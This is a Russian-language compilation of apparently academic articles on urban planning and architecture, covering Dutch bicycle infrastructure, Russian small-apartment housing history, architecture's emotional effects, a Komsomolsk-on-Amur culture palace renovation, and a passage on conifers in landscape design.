Во многих городах Европы велосипед стал уже неотъемлемой частью жизни 
населения. Неоспоримо, что Голландия – мировой лидер по созданию условий для ве-
лосипедистов. Подтверждением этому служит количество велосипедов, превышающее 
численность населения: более 22,5 миллионов единиц транспорта на менее чем 18 мил-
лионов жителей. Все приоритеты отданы велосипедистам, что делает их привилегиро-
ванной группой участников движения. Велосипед прочно вошел в повседневную жизнь 
голландцев и стал неотъемлемой частью национальной культуры, перестав быть просто 
спортивным атрибутом. Велосипедистов можно встретить повсеместно: школьники до-
бираются до учебы, офисные сотрудники едут на работу, а родители отвозят детей в 
детские сады. Можно сказать, что голландцы рождаются с велосипедом. В Нидерлан-
дах повсеместно создана развитая сеть велосипедных дорожек. Специальные развязки, 
магистрали, светофоры, туннели и мосты предназначены для удобства велосипедистов. 
Качество велосипедных трасс в стране находится на высочайшем уровне, а система уз-
лов маршрутов продумана до мелочей, обеспечивая удобную навигацию. 

Десятилетиями городская велосипедная инфраструктура в Нидерландах выгля-
дела практически одинаково: размеченная полоса или выделенная дорожка с краю до-
роги. Для велосипедного транспорта это было хорошо, но автомобили все же занимали 
бóльшую часть дорог. Велосипедные улицы кардинально изменили эту парадигму. 
Проект и правила четко определили, что хозяевами дороги являются не автомобилисты, 
а велосипедисты. Улица Сарфатистрат в Амстердаме оказалась популярным маршру-
том у велосипедистов. Однако ее ширины оказалось недостаточно для текущего коли-
чества велосипедистов, не говоря уже об их растущем количестве. Не были выделены 
места для организации выделенной велосипедной инфраструктуры или расширения 
существующих (узких) велосипедных полос. 

Столичная администрация была заинтересована в запуске пилотного проекта с 
другим профилем дороги. В ходе пилотного проекта предполагалось измерить влияние 
преобразования Сарфатистрат в велосипедную улицу с точки зрения удобств и без-
опасности. Таким образом, Сарфатистрат преобразовалась в улицу совершенно нового 
формата. Она была сконструирована довольно уникально, так как в середине проходи-
ли трамвайные пути. Новый проект включал в себя двойную велосипедную улицу с од-
носторонним движением для автомобилей и велосипедистов, разделенную трамвайны-
ми путями. Как и на других велосипедных улицах, у велосипедистов был приоритет 
над автомобилями. Пилотный проект оказался очень успешным. В ходе оценки были 
сделаны некоторые незначительные улучшения: был добавлен дополнительный пеше-
ходный переход, а также улучшились система указателей вдоль маршрута и знаки на 
дорожном полотне. Эти дополнения сделали пилотный проект достаточно устойчивым. 
Указанные изменения дали мощный импульс для возможного преобразования других 
участков внутреннего кольца Амстердама в аналогичные широкие велосипедные улицы 
с красным асфальтовым покрытием и искусственными неровностями, учитывающими 
особенности велосипедного транспорта. На других загруженных велосипедных марш-
рутах также рассматривается возможность применения этого решения для перепроек-
тирования улицы. При планировании запуска велосипедной улицы в оживленном рай-
оне необходимо гарантировать выделение достаточного пространства для безопасного 
обгона автомобилей, движущихся на малой скорости (30 км/ч). Усиление постоянного 
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автомобильного движения было нивелировано, поэтому количество автомобилей, про-
езжающих этот участок в сутки, оказалось менее 2 500 единиц, что является достаточно 
низким показателем. На коротких участках маршрута количество автотранспорта воз-
растает до 5 000 единиц в сутки, что соответствует рекомендациям некоммерческого 
агентства CROW, которое консультирует Главное управление общественных работ и 
управления водными ресурсами. 

Чтобы сократить автомобильный трафик в центре города, были спроектированы 
и построены объездные магистрали. Теперь водители могут легко миновать центр, 
направляясь из одного района в другой. В исторической части города парковка стала 
дороже, что стимулирует владельцев оставлять машины на окраинах. Для дальнейшего 
передвижения горожане чаще выбирают велосипед, пешие прогулки или удобный об-
щественный транспорт. Скорость движения автомобилей в центре Утрехта ограничена 
10 км/ч. Однако, в центре Утрехта по-прежнему не хватает парковочных мест. В связи с 
этим местные власти решили построить велопарковку на 12 500 мест возле центрально-
го вокзала, которая может стать крупнейшей в мире. К 2020 году общее количество ве-
лопарковочных мест в районе станции "Utrecht Central" достигнет 33 000. 

В Нидерландах велосипедные перекрестки преобразились, став эффективным 
решением для гармоничного сосуществования всех участников движения. Обеспечивая 
повышенную безопасность и комфорт велосипедистам и пешеходам, они одновременно 
способствуют улучшению дорожной обстановки и для автомобилистов. Примером 
служит модернизация перекрестка Плесманвег – Ньиве Парклан, где велосипедисты 
сталкивались с трудностями из-за запутанной организации движения и устаревшей си-
стемы сигналов. Проект был направлен на повышение безопасности и удобства для 
всех видов транспорта, улучшение трафика и создание комфортной среды для пешехо-
дов и велосипедистов. Сложный перекресток был преобразован в кольцевую развязку с 
выделенной инфраструктурой для велосипедистов и пешеходов. Велосипедисты полу-
чили приоритет, а озеленение гармонично вписало развязку в окружающий ландшафт. 
Аналогичный проект реализован в Зволле, где велосипедисты испытывали неудобства 
на Випстриккералле. Муниципалитет, в сотрудничестве с заинтересованными сторона-
ми, создал уникальную велосипедную кольцевую развязку. На пересечении Философе-
налле – Вонделкаде автомобили получили ограниченный доступ, в то время как вело-
сипедисты могут двигаться в любом направлении. Это улучшило велосипедный поток, 
не оказав негативного влияния на автомобильный трафик. Велосипедисты пересекают 
Випстриккералле быстрее и безопаснее. 

Конфликт между автомобилистами, велосипедистами и пешеходами достаточно 
остро стоит не только в России, но и по всему миру. Многие по сей день предпочитают 
выбирать автомобили, что значительно сказывается как на окружающей среде, так и на 
здоровье самих граждан. С каждым годом количество транспорта в городах растёт, что 
приводит к загрязнению воздуха, к большому трафику и пробкам. Поэтому очень важ-
но уделять вниманию развитию именно пешеходным зонам и внедрению велотранс-
порту. При развитии и создании новых рекреационных зон, пешеходных пространств, обу-
стройства велосипедной сети городов можно применить богатый опыт Нидерландов: организо-
вать систему транспортного движения так, чтобы через центр города проезжало как можно 
меньше машин; использовать специальные «агрессивные» покрытия, которые психологически 
и физически не позволят ехать быстро; повысить цену за парковку автомобиля в исторической 
части города; контролировать парковки в пределах городского центра и назначать штрафы за 
стоянку в неположенных местах. Таким образом автомобилизацию можно регулировать и зна-
чительно снизить поток машин. Необходимо предложить горожанам альтернативные виды 
транспорта и улучшить качество жизни, найти компромисс между возможностями финансиро-
вания, климатическими условиями, интересами и желаниями людей. 
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ЭВОЛЮЦИЯ МАЛОГАБАРИТНОГО ЖИЛЬЯ В РОССИИ 
 
THE EVOLUTION OF SMALL-SIZED HOUSING IN RUSSIA 
 
Аннотация. Настоящее исследование посвящено комплексному анализу эволюции ма-
логабаритного жилья в России, охватывающему период с середины XX века по совре-
менность. Актуальность темы обусловлена необходимостью решения острых социаль-
но-экономических и экологических проблем, таких как рост урбанизации, увеличение 
числа малых семей, недоступность жилья для широких слоев населения и запрос на 
устойчивое развитие городов. Малогабаритное жилье рассматривается не только как 
экономический компромисс, но и как инновационный инструмент градостроительной 
политики, способный обеспечить баланс между комфортом, доступностью и экологич-
ностью. Приведены примеры жилых домов в каждом архитектурном периоде страны. 
Ключевые слова: малогабаритное жилье, малогабаритная квартира, модульный, функ-
циональность, комфорт, уют, люди, город, дешевый, площадь.   
Abstract. This study is devoted to a comprehensive analysis of the evolution of small-sized 
housing in Russia, covering the period from the middle of the 20th century to the present. The 
relevance of the topic is determined by the need to address acute socio-economic and envi-
ronmental problems, such as the growth of urbanization, the increase in the number of small 
families, the inaccessibility of housing for the general population and the demand for sustain-
able urban development. Small-sized housing is considered not only as an economic compro-
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mise, but also as an innovative tool of urban planning policy, capable of providing a balance 
between comfort, accessibility and environmental friendliness. Examples of residential build-
ings in each architectural period of the country are given. 
Key words: small-sized housing, small apartment, modular, functionality, comfort, coziness, 
people, city, cheap, square. 

История малогабаритного жилья в России — это архитектурная сага, где каждая 
глава написана бетоном, амбициями и социальными потрясениями. От аскетичных 
«хрущёвок», выросших как грибы послевоенной необходимостью, до современных мо-
дульных домов-трансформеров — эта эволюция словно зеркало, отражающее смену 
эпох, технологий и человеческих мечтаний. Сегодня в этом зеркале сталкиваются два 
отражения: архаичные стереотипы о «клетушках» и дерзкие проекты, где каждый квад-
ратный метр дышит эргономикой и дизайном. Изучая этот путь, мы не просто листаем 
урбанистический дневник — мы ищем ключи к жилищным ребусам будущего. 

Актуальность темы исследования обусловлена тем, что современная Россия — 
котёл, где кипят демографические сдвиги, бегство в мегаполисы и экономические бури. 
В этих условиях малогабаритное жилье превращается не просто в квадратные метры, а 
в формулу выживания: для одиноких горожан, малых семей, тех, кого рыночный ураган 
отбросил к границам бюджета. Города задыхаются от дефицита земли, а экология тре-
бует бережного касания к пространству. Компактные апартаменты — это уже не ком-
промисс, а манифест: как жить умно, не теряя достоинства. 

Цель работы заключается в проведении комплексного анализа этапов развития 
малогабаритного жилья в России, выявлении ключевых факторов, влиявшие на его 
проектирование и внедрение, а также оценить современные тенденции и перспективы 
данного сегмента. В рамках исследования предполагается рассмотреть исторические, 
законодательные и социокультурные аспекты, чтобы определить, как малогабаритное 
жилье способно отвечать вызовам XXI века, включая доступность, экологичность и 
адаптацию к меняющимся потребностям населения. 

Послевоенные города нуждались в парадных шрамах — зданиях, которые кри-
чали бы о победе. «Сталинки» стали архитектурным манифестом: неоклассические фа-
сады с колоннами-исполинами, квартиры для избранных с потолками в три метра, где 
даже воздух казался гуще. Эти дома селились на главных артериях городов, как дворцы 
для новой аристократии — инженеров, писателей, военных. Их коридоры — словно 
тоннели в прошлое: здесь до сих пор слышен звон хрусталя из гостиных и шорох книг в 
дубовых библиотеках (рисунок 1). 

 
Рисунок 1 – пример жилого дома периода «сталинской» застройки 

К 1956 году появились новые задачи по строительству индустриального жилья. 
Страна, сбросившая сталинские мантии, требует не дворцов, но крыши. Инженер Лагу-
тенко становится Пикассо панельного конвейера: его серия К-7 — дом-конструктор, 
собранный за неделю. Квартиры-капсулы: 30 «квадратов» жизни с проходными комна-
тами, где кухня — ритуальное пространство в 5 м². Стены тоньше перегородок, шум 
соседей — фоновая музыка быта. Но эти коробки стали спасением для миллионов, чьи 
внуки сегодня заселяют их, пытаясь, хоть как-то, обустроить неудобное пространство 
(рисунок 2).  
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Рисунок 2 – пример жилого дома периода «хрущевских» построек 

В начале 60-х появились дома с улучшенными планировками квартир, правда, 
прихожие и кухни были по-прежнему маленькими. Благодаря тому, что при их возве-
дении использовались железобетонные плиты, строительство шло значительно быст-
рее, но сами квартиры стали существенно холоднее. 

Эпоха застоя подарила жильё, словно вылепленное по шаблону «ничего лишне-
го». На смену коммунальной скованности пришли изолированные комнаты, лифты и 
мусоропроводы — признаки цивилизации. Планировки всё ещё тесны, но уже с намё-
ком на приватность: 56 м² для трёх поколений семьи. Панельные стены, как непреклон-
ные стражи, запрещали перепланировки, зато разрешали мечтать о будущем, которое 
так и не наступило в существующих рамках (рисунок 3).  

 
Рисунок 3 – пример жилого дома периода «брежневок» 

Самая массовая серия типовых жилых домов в Москве, которыми активно за-
страивались Братеево, Крылатское, Марьино, Митино и Строгино. Позже такие дома 
были популярны в Химках, Одинцово, Щелково и Мытищах. Подобные сооружения 
строили по всей России. 1980-е принесли дома-хамелеоны: фасады в бело-голубых то-
нах, секции-трансформеры. Здесь впервые появились «распашонки» — квартиры с 
комнатами-крыльями, и «линейки», где жизнь текла по рельсам коридора. Лифты раз-
делились на грузовые и пассажирские, подъезды обзавелись консьержами — блюстите-
лями социалистического порядка. Эти здания стали мостом между совдеповской уни-
фикацией и будущим, где жильё начало свои первые шаги в сторону индивидуальности 
(рисунок4). 

 
Рисунок 3 – пример жилого дома периода массовой застройки серии «П-44» 
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XXI век сжал жилую площадь до размеров кофейного столика: 18 м², где кро-
вать соседствует с плитой, а окно заменяет телевизор. «Путинки» — уникальный квест 
на выживание: как втиснуть всю свою жизнь в квадрат, который является кухней, гос-
тиной, спальней и кабинетом одновременно. Но за ироничным названием — горькая 
формула реальности: когда мечта о собственном угле важнее комфорта. Эти капсулы, 
как зеркала, отражают наше время: стремительное, одинокое, бегущее вприпрыжку за 
дешёвизной современного жилья (рисунок 5). 

 
Рисунок 3 – пример жилого дома современной архитектурной застройки 

Исследование эволюции малогабаритного жилья в России подтверждает его 
ключевую роль в решении современных урбанистических, экономических и экологиче-
ских задач. От послевоенных «хрущёвок» до современных модульных проектов эта 
форма жилья эволюционировала под влиянием демографических сдвигов, технологиче-
ского прогресса и растущего спроса на доступность. Сегодня малогабаритное жилье, 
преодолевая стереотипы, демонстрирует потенциал через эргономику, энергоэффек-
тивность и адаптивность, отвечая запросам малых семей и одиноких жителей. 

Однако сохраняются барьеры: нормативные ограничения, недостаток инфра-
структуры и консервативность общественного восприятия. Перспективы связаны с ин-
теграцией «умных» технологий, гибким законодательством и проектами, ориентиро-
ванными на устойчивое развитие. 

Работа подчеркивает: малогабаритное жилье — не временный компромисс, а 
стратегический ресурс для городов будущего, балансирующий между комфортом, эко-
номикой и экологией. 
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THE INFLUENCE OF THE ARCHITECTURAL ENVIRONMENT  
ON HUMAN PERCEPTION 
 
Аннотация. Архитектурная среда, в которой мы живём и работаем, оказывает глубокое 
влияние на наше эмоциональное состояние. Она может вызывать у нас радость, вдох-
новение, спокойствие или тревогу, подавленность. В этой статье мы рассмотрим, как 
именно пространственная архитектурная среда воздействует на наши эмоции и какие 
методы используют архитекторы для создания гармоничного и благоприятного про-
странства. 
Abstract. The architectural environment in which we live and work has a profound effect on 
our emotional state. It can make us feel joyful, inspired, calm, or anxious, depressed. In this 
article, we will look at how exactly the spatial architectural environment affects our emotions 
and what methods architects use to create a harmonious and favorable space. 
Ключевые слова: архитектурная среда, восприятие, пространство, человек. 
Key words: Architectural environment, perception, space, man. 
 
 Здоровье человека напрямую зависит от его образа жизни и среды обитания, по-
этому место и условия проживания имеют первостепенное значение. Архитекту-ра иг-
рает значимую роль, оказывая воздействие на сознание через сочетание линий, углов и 
цветовой гаммы, что, в свою очередь, формирует социальное поведение. При проекти-
ровании зданий архитектор должен учитывать не только эстетику, но и воз-можное 
влияние на людей. Эта проблема требует тщательного изучения, так как невозможно 
точно предсказать воздействие каждого элемента на конкретного человека. Задача ар-
хитектора – исследовать различные аспекты архитектуры для их после-дующего при-
менения с целью повышения качества жизни. В современном мире негативное влияние 
архитектуры проявляется все чаще. Стремление к экономии ведет к упрощению форм и 
снижению архитектурной и духовной ценности зданий. Людей окружает однообразная 
застройка, лишенная индивидуальности. Асфальт, безликие стены и монолитное остек-
ление, диссонируя с природой, негативно сказываются на поведении человека. 
 Человек находится в постоянном взаимодействии с окружающей средой, кото-
рая способна создать определенный эмоциональный фон, сопровождающий его час, 
день или месяцы. Рассматривая города России в трех архитектурных формах (про-
странство и объем; ландшафт; малые архитектурные формы), становится видно, что 
они заполнены преимущественно объектами, возведенными еще в послевоенные годы. 
Постройки не имеют характера и индивидуальности, являя собой серый фон, негативно 
влияющий на состояние человека.  
 В психологии существует общепринятое мнение, что любое акт восприятия 
неизменно сопряжен с эмоциональной окраской, независимо от того, что именно явля-
ется объектом нашего внимания: будь то простая линия, цветовое впечатление, физиче-
ский объект, другой человек или окружающее нас пространство. Природа этой эмоцио-
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нальной окраски может корениться в биологических механизмах или же быть обуслов-
лена нашим предыдущим опытом взаимодействия с конкретным объектом. 
Начиная с древних времён, люди интуитивно создавали пространства, которые отвеча-
ли их физическим, психологическим и социальным потребностям. Современные иссле-
дования в области архитектуры, психологии и нейронауки подтверждают, что окружа-
ющая среда способна формировать наш настрой, продуктивность и даже здоровье. 
Архитектурная среда вызывает различные эмоциональные отклики у людей. Простор-
ные, светлые и организованные пространства обычно ассоциируются с чувством спо-
койствия, свободы и безопасности. Напротив, узкие, тёмные и хаотично спроектиро-
ванные помещения могут вызывать тревогу и дискомфорт. Например, высокие потолки 
способствуют ощущению простора и вдохновения, тогда как низкие потолки могут 
усиливать чувство замкнутости. 
 Цветовая палитра также играет ключевую роль в формировании восприятия (ри-
сунок 1). Тёплые цвета (жёлтый, оранжевый, красный) стимулируют активность и эмо-
циональное возбуждение, тогда как холодные оттенки (синий, зелёный) успокаивают и 
способствуют концентрации. 

 
Рисунок 1- Влияние цвета на эмоции 

 Архитектурные решения могут напрямую влиять на поведение людей. Приме-
ром служат общественные пространства, где грамотное зонирование способствует со-
циальному взаимодействию. Парки, площади и пешеходные зоны, спроектированные с 
учётом человеческого масштаба, стимулируют общение, чувство принадлежности и со-
циальной интеграции. В рабочих пространствах правильное распределение зон для 
труда и отдыха повышает производительность и удовлетворённость сотрудников. Ис-
следования показывают, что доступ к естественному свету, зелёным зонам и эргоно-
мичному дизайну уменьшает уровень стресса и улучшает когнитивные функции. 
Качество архитектурной среды напрямую связано с физическим и психологическим 
здоровьем. Доступ к природным элементам, таким как солнечный свет, свежий воздух 
и зелёные насаждения, положительно сказывается на самочувствии. Например, кон-
цепция биофильного дизайна, которая интегрирует природные элементы в архитектуру, 
способствует снижению уровня стресса, улучшению настроения и повышению продук-
тивности. Кроме того, уровень шума, качество воздуха и плотность застройки также 
играют важную роль. Шумное окружение может вызывать усталость и раздражение, 
тогда как хорошо спроектированные акустические решения обеспечивают комфортное 
звуковое восприятие. Современные архитекторы и урбанисты сталкиваются с вызова-
ми, связанными с быстрым ростом городов и изменением климата. Устойчивое проек-
тирование становится неотъемлемой частью создания комфортной среды, минимизи-
рующей негативное воздействие на природу и обеспечивающей высокое качество жиз-
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ни. Сегодня важным направлением является создание инклюзивных пространств, учи-
тывающих потребности людей с ограниченными возможностями, а также адаптация 
среды к различным культурным и возрастным группам. 

Данная работа изучает воздействие архитектурной среды на эмоциональное бла-
гополучие человека. В рамках статьи анализируются ключевые подходы, посредством 
которых пространственные особенности и структурные элементы оказывают влияние 
на человеческое восприятие и чувства. Основные инструменты воздействия включают 
в себя оформление физического пространства, разработку условий восприятия, форми-
рование ощущаемого пространства и внешних архитектурных решений. 

Результаты данного исследования акцентируют внимание на том, что архитек-
турное проектирование должно уделять приоритетное внимание эмоциональным аспек-
там с целью создания благоприятной и сбалансированной атмосферы, стимулирующей 
позитивное отношение к окружающей среде. 
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THE ENVIRONMENTAL SOLUTION OF THE ZLK RECREATION  
CENTER IN KOMSOMOLSK-ON-AMUR 
 
Аннотация. В статье рассматривается реновация Дворца культуры судостроителей и 
рекомендации по средовому решению ДК ЗЛК. Также в статье поднимается вопрос ак-
туальности благоустройства общественного пространства, в котором представлен про-
ект многофункциональной зоны Дворца культуры судостроителей, соответствующий 
актуальным тенденциям. 
Annotation. The article examines the renovation of the Palace of Culture of Shipbuilders and 
recommendations on the environmental solution of the ZLK Recreation Center. The article 
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also raises the issue of the relevance of the improvement of public space, which presents the 
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 Актуальность благоустройства общественных пространств в настоящее время 
становится все более очевидной, особенно в контексте привлечения молодежи к куль-
турной жизни города. 
Целью исследования данной научной работы является анализ влияния ДК «Судострои-
телей» на культурное развитие города, выявление наиболее значимых исторических 
событий в процессе его функционирования, анализ современного состояния дома куль-
туры и его пространственного окружения. Объектом исследования является территория 
Дворца культуры судостроителей, а также и само здание. 
 В статье предлагается познакомиться с проектом благоустройства главной 
площади ДК судостроителей – площади «Юности», благодаря которому произойдет её 
превращение в многофункциональную общественную зону. Современный дизайн пло-
щади, представляемый в проекте, соответствует актуальным архитектурным тенденци-
ям, что позволит площади «Юности» гармонично вписаться в городской ландшафт.  
Задачами проекта является проведение анализа территории, выявление функциональ-
ных зон, определение расположения парковочных мест, возможности установки малых 
архитектурных форм, обновление внешнего облика фасада здания ДК судостроителей. 
 Благоустройство территории дворца культуры судостроителей повышает комфорт го-
родской среды и может стать имиджевым местом, «визитной карточкой» города Ком-
сомольска-на-Амуре.  
 Дом культуры судостроителей является одним из ключевых общественных 
объектов, который играет важную роль в жизни города Комсомольска-на-Амуре. Это 
уникальное место, где жители могут собираться вместе для участия в широком спектре 
культурных и массовых мероприятий, которые способствуют развитию и поддержанию 
культурного уровня общества[1]. В таких учреждениях, как дома культуры, часто про-
водятся концерты, выставки, лекции, мастер-классы и множество других событий, 
направленных на обогащение досуга и укрепление культурных традиций. Дом культу-
ры служит местом, где каждый может найти что-то интересное для себя, будь то твор-
ческое занятие или просто возможность насладиться искусством и общением [2]. 

Для проектирования средового решения площади Юности и самого здания ДК, 
необходимо разобрать историю Дворца культуры судостроителей.  

Проект здания ДК ЗЛК (ДК Завода Ленинского комсомола был разработан в 
1939 году, и в том же году началось его строительство. Строительство продолжалось и 
в годы Великой отечественной войны,  открытие Дворца,  посвященное 27-й годовщине 
Октября, состоялось 6 ноября 1944 года (рисунок 1а,б).  

В конце 1960-х годов к зданию Дворца были пристроены левое и правое крылья, 
с отдельными входами, а фасад реконструирован (рисунок 1в). Необходимо отметить, 
что еще в 1952 году был создан "сталинский" проект расширения здания, который 
предполагал наличие колонн и скульптур, а площадь перед Дворцом должна была 
украшать фигура И. В. Сталина (рисунок 1 г) [3]. Завершение всей реконструкции да-
тируется 1975 годом (рисунок 2). 
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Рисунок 1– а) ДК «Судостроитель» до реконструкции, 1944 г; б) ДК «Судостро-

итель» без балконов и без скульптур. 1960 г; в) начало строительства крыльев, 1960-е г. 
г) «Сталинский» проект расширения здания 1952 года. 

 
Рисунок 2 – Завершение всей реконструкции 1975 года 

Реконструкция Дворца, начавшаяся в 1960-х годах, произошла под влиянием но-
вых архитектурных стандартов, коренным образом изменивших его первоначальный 
облик. Дворец, который мы видим в настоящее время, является результатом совмест-
ной работы ленинградских архитекторов и художников. Центральную часть здания 
спроектировали В.Н. Талепоровский и Ф.И. Милюкова,  их  творчеству  помогали  
скульптор И.И. Суворов и художник С.Л. Закликовская.  За  вторую очередь проекта 
отвечали архитекторы А.Я. Гладких и Б.И. Сретенский, также ленинградцы. Необходи-
мо отметить большой вклад в оформление интерьера Дворца культуры  «Судострои-
тель» первого художника города и Почетного гражданина Комсомольска-на-Амуре – 
Г.А. Цивилева . Его роспись  потолка  в зрительном зале, на тот момент самом большом 
в городе (вместимость 860 человек, рекорд  которого сохраняется до сих пор),  стала  
настоящим шедевром [4]. С 1965 по 1975 гг. были созданы два панно «Знания» и 
«Спорт», создателем которых стал художник-монументалист Н. П. Долбилкин. Панно 
располагались на крыльях фасада здания [4]. В 1998 году Дворец Культуры официаль-
но был закрыт из-за отсутствия противопожарных норм, однако продолжал работать. 
Вечером 11 апреля 2003 г. в подвале под сценой по неизвестной причине вспыхнул по-
жар. Утром 12 апреля полностью выгорела сцена, все прилегающие помещения вокруг 
неё и часть зрительного зала. Роспись потолка, все декорации и сценические костюмы 
были полностью уничтожены, крыша обрушилась. Вскоре, после пожара, в уцелевших 
помещениях, были приостановлены работа кружков, расформированы творческие кол-
лективы, сокращены сотрудники, закрыты библиотека, спортзал. Отсутствие ремонта 
сгоревшей кровли привело к разрушительным последствиям. В зрительном зале вырос-
ли деревья. Стали непригодны многие помещения, разрушены боковые фасады здания. 
Дворец культуры «Судостроителей» является объектом культурного наследия местного 
(муниципального) значения. В настоящее время сохранились и функционируют часть 
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центрального объема здания ДК и его боковые крылья. В 2019 Дворец был передан ми-
нистерству культуры Хабаровского края, которое разработало план проведения его ре-
монта. ДК «Судостроителей» является практически центром города. На прилегающей к 
нему территории проводятся массовые мероприятия, значимые для всех жителей города. 
Но в настоящее время здание дворца и его  территория не соответствуют современным 
требованиям, поэтому необходима реконструкция фасадов и площади перед зданием. Эта 
задача решается в дизайн-проекте выпускной квалификационной работы. В рамках про-
екта проводится анализ существующих проблем, в результате которого предлагаются 
проектные решения, обусловленные  историческим значением и многофункциональным 
предназначением территории. Проектирование осуществляется по адресу – ул. Аллея 
Труда, 22, г. Комсомольск-на-Амуре. В перечень проблем входят: устаревший облик фа-
сада; наличие на территории ДК устаревших, не эргономичных малых архитектурных 
форм (МАФ), не достаточная функциональность  площади (рисунок 3). 

 
Рисунок 3 – Территория ДК ЗЛК в настоящее время 

Проект площади подразумевает создание многофункционального пространства, 
в котором объединены зоны тихого и активного отдыха, творческая зона, детская пло-
щадка и место для родителей, санитарная зона, зона прогулок, остановочный пункт. 
Площадь будет оборудована эргономичными скамьями, прокатом спортивного обору-
дования, кафе, сценой. На площади размещаются малые архитектурные формы, систе-
ма навесов, остановочный пункт. Элементы освещения, защитного ограждения, обще-
ственный туалет, парковка делают пространство наиболее комфортным. 

Фасад здания имеет историческую ценность, поэтому в проекте предлагается не 
сносить и не затрагивать непосредственно объем здания, а лишь изменить его колори-
стическое решение, и пристроить декоративный элемент фасада, символизирующий 
реку Амур, имеющий плавную волнообразную форму. Для фасада и цветового решения 
площади был выбран акцентный красный цвет, который воспринимается людьми как 
эмоциональный, энергичный и активный (рисунок 4).  

 
Рисунок 4 – Фасад здания ДК ЗЛК 

Для проведения городских, спортивных и культурных, праздничных мероприя-
тий (концерты, шоу и театральные постановки) на площади ДК «Судостроителей» пе-
ред главным входом в здание проектируется сцена. Для отдыха посетителей в зимнее 
время в центре площади организуется каток, в теплое время года местные жители могут 
наслаждаться прекрасными зелеными насаждениями – цветущими растениями и ку-
старниками. Проектом организуются видовые площадки и фотозоны. На территории 
Дворца культуры располагается детская игровая площадка для детей школьного и до-
школьного возраста. Неподалеку от площадки также размещена зона родителей, твор-
ческая зона, в которой любой желающий сможет проявить свои художественные спо-
собности. Зона тихого отдыха располагается вдоль фонтанов. В проекте разрабатывает-
ся остановочный павильон, со встроенным магазином, в котором можно купить чай или 
кофе на вынос, что актуально в холодное время года (рисунок 5 а). В павильоне проката 
спортивного инвентаря осуществляется в летнее время прокат велосипедов, роликов, 
скейтбордов, самокатов, а в зимнее –  прокат коньков, лыж (рисунок 5 б). 



63 

                                    а)                                      б)  

 
Рисунок 5 – а) Детская площадка, зона для родителей, качели, творческая зона 

 и остановочный пункт; б) Кафе, зона проката спортивного инвентаря,  
зона отдыха 

 К сожалению, в настоящее время подрастающее поколение не имеет желания 
изучать историю своего города. Скульптуры, располагающиеся на территории площа-
ди, посвященные  рабочим – авиастроителям, судостроителям, работникам науки и об-
разования, семье, имеют целью донести до жителей города историю, связанную с его 
развитием (рисунок 6). 

    
Рисунок 6 – Скульптура, располагающиеся на территории площади 

 В центральной части на мощении располагается мозаика в виде сферы, симво-
лизирующей науку (рисунок 7а). 

   
Рисунок 7 – а) Мозаика в виде сферы в центральной части территории; б) Зона семей-
ного отдыха; в) Въезд в подземную парковку 
В зонах отдыха расположены качели, игровые элементы, где люди смогут активно про-
вести время со своими детьми. В центре зоны спроектировано мощение, символизиру-
ющее семью, сплочение детей и родителей (рисунок 7б). По периметру мощения рас-
полагается скамья, гармонично вписывающаяся в пространство.  
При въезде на территорию площади с улицы Мира спроектирована подземная парковка 
на100 парковочных мест. Въезд в подземную парковку имеет форму амфитеатра и мо-
жет служить местом для отдыха (рисунок 7в). 
                             а)                                            б) 

 
Рисунок 8 – Средовое решение ДК ЗЛК а) Фасад; б) Площадь Юности 

 В представленном проекте по благоустройству многофункциональной зоны 
Дворца культуры «Судостроителей», предлагаются мероприятия, которые будут спо-
собствовать улучшению комфортности городской атмосферы, привлечению молодежи 
к культурной жизни города, которые соответствуют актуальным требованиям и пред-
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ставляют пространство с современным дизайном, которое гармонично вписывается в 
городской ландшафт. На территории имеются все необходимые функциональные зоны 
для привлечения  граждан. Проект позволит ДК «Судостроителей» и прилегающей к 
нему площади Юности, стать притягательным, комфортным местом для отдыха и раз-
влечений гостей и жителей города Комсомольска-на-Амуре. Территория может выпол-
нять роль имиджевого объекта, становясь своеобразной «визитной карточкой» города 
(рисунок 8 а,б). 
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Несомненно, место одних из самых величественных растений в любом саду за-

нимают хвойники. На смену живописным цветам, которые, к сожалению, не могут ра-
довать нас более чем пару месяцев за сезон, приходятэти вечнозеленые растения, обла-
дающие невероятными декоративными свойствами, которые не угасают даже с наступ-
лением холодов. Хвойные композиции удивляют обывателя своим многообразием в 
различных формах и размерах: от небольших стелящихся игольчатых кустиков, при-
крывающими собой почву, до внушительных пятидесятиметровых гигантов, с раскиди-
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стой кроной.Аих приятный зелено-голубоватый оттенок создаёт успокаивающую атмо-
сферу. Несомненным плюсом является тот факт, что большая часть голосеменных уже 
акклиматизирована для наших суровых регионов. А потому даже жители самых север-
ных регионов смогут воссоздать у себя в саду, свой собственный кусочек хвойного ле-
са. Конечно, в выращивание хвойников сопряжено с определенными трудностями, но 
если придерживаться советов агрономов, то при правильном уходе эти растения будут 
радовать вас своим внешним видом долгие годы.  

Хвойные растения – одни из древнейших растений на нашей планете. Возраст  
некоторых окаменелых остатков найденных учеными достигает 600 млн лет. Как и 
миллионы лет назад, так и в наши дни голосеменные встречаются на всей территории 
нашей планеты. Их огромная биомасса производит колоссальное количество кислоро-
да, а также является самым главным поставщиком древесины среди всех пород деревь-
ев, так как отличается высококачественной влагостойкостью и прочностью. При со-
ставлении декоративных композиций огромную роль в саду отводят хвойным растени-
ям. Из-за разнообразия форм и размеров, они могут выступать в качестве солитерных 
посадок или в комплексе с другими посадками. Здесь всё зависит от пожеланий челове-
ка, однако за многие годы ландшафтного дизайна сложились определенные каноны 
наиболее удачных композиционных сочетаний. Например: хвои с конической формой 
кроны  подходят для обрамления аллей, или же как акцентное дополнение к домику 
или беседке. Для такого типа композиции стоит присмотреться к таким сортам туи как 
«Вервенеана» и «Спиралис» (рисунок 1а).  
                        а)                              б)                             в) 

 
Рисунок 1 –а) Туя западная Vervaeneana б) Горная сосна «Мопс» 

 в) Сосна «Ватерери» 
Менее крупные подвиды  по типу пирамидальной формы, отлично подойдут для 

альпинариев, смешенного цветника или солитерных посадок среди газона. Идеальными 
вариантами станут ель колючая «Глаука», «Глобоза», можжевельника «Хиберика» или 
туи. 

На участках с небольшой площадью лучше отдать предпочтение стелющимся 
подвидам, они будут гармонично смотреться на альпийских горках. Отличным вариан-
том станут микробиота, горизонтальные можжевельники «Адрепесса», сосна горная 
«Хессе». В классической композиции используются хвои с шаровидным типом кроны: 
идеальный пример горная сосна «Мопс, Фрула, Кобольт» (рисунок 1б).  

Красоты хвойных композиций можно достичь не только за счет формы и разме-
ра, но также и цвета, среди этого семейства встречаются исключительные экземпляры с 
непривычной, для этого семейства окраской, от ярко-сизого до золотисто-желтого. 

Чрезвычайно красиво будет выглядеть в сады деревья с золотистыми иголочка-
